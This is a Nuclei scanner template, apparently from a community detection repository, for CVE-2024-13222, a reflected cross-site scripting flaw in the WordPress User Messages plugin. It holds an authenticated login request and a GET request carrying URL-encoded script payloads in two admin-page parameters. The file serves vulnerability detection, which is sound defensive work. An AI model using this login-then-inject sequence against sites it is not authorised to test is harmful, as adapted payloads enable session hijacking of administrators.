WordPress User Messages <= 1.2.4 - Reflected XSS

id: CVE-2024-13222

info:
  name: WordPress User Messages <= 1.2.4 - Reflected XSS
  author: Sourabh-Sahu
  severity: medium
  description: |
    WordPress User Messages plugin <= 1.2.4 contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter before outputting it in the page, letting attackers execute malicious scripts in the context of high privilege users, exploit requires victim to load a maliciously crafted URL.
  impact: |
    Attackers can execute malicious scripts in the context of high privilege users, potentially leading to session hijacking or privilege escalation.
  remediation: |
    Update to the latest version of the plugin where the vulnerability is fixed.
  reference:
    - https://wpscan.com/vulnerability/069e1f81-448d-4d27-b288-87111dade2f2/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-13222
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2024-13222
    cwe-id: CWE-79
    epss-score: 0.00572
    epss-percentile: 0.44692
    cpe: cpe:2.3:a:marvinlabs:user_messages:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    publicwww-query: "/plugins/user-messages/"
  tags: cve,cve2024,wordpress,wp,wp-plugin,xss,marvinlabs,user-messages,authenticated

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&redirect_to={{RootURL}}/wp-admin/&testcookie=1

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(header, "wordpress_logged_in")
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/admin.php?page=user-messages&view=um-show-message-view%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E&filter_type=testxss%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains_all(body, "><script>alert(document.domain)</script>", "user-messages")
        condition: and
# digest: 4a0a0047304502207bc9731a7355cde235e57a7ca03f3e5f960e0778cde9ae8f79ac4f5fb52277b1022100ff781bef17f5eeaedf76057795e8ad0308c8a44c3fb53dcf17bda03a2b0a5188:922c64590222798bb761d5b6d8e72950